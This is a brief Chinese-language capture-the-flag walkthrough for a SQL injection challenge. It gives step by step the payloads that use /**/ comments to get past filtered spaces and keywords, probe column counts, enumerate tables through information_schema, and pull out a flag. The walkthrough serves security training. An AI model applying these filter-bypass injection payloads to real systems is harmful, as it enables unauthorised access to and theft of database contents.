简单的sql注入之2
1.查看是否存在注入
- 输入
‘
2. 输入“
-
1'/**/or/**/1/**/%23 -
1'/**/and/**/0/**/%23
2.查看select是否被过滤
-
输入
select发现被过滤 -
发现不过滤
/**/select/**/ -
存在sql注入
-
查看有几列
1.order by被过滤 ,试试/**/order/***/by/**/
2.1'/**/or/**/1/**/order/**/by/**/1/**/%23,发现显示正常
3.'/**/or/**/1/**/order/**/by/**/2/**/%23,发现没有第二列,说明返回结果只有一列 -
'/**/or/**/1/**/union/**/select/**/11%23,查看显示位
-
-
获取数据库中的数据
- 获取数据库中有哪些表
'/**/or/**/1/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/tab le_schema/**/=/**/database()/**/%23 - 发现flag表,获取表中字段
1'/**/or/**/1/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/=/**/database()/**/and/**/table_name/**/='flag'%23 - 发现flag表中存在flag字段,获取flag
'/**/and/**/0/**/union/**/select/**/flag/**/from/**/flag/**/%23
- 获取数据库中有哪些表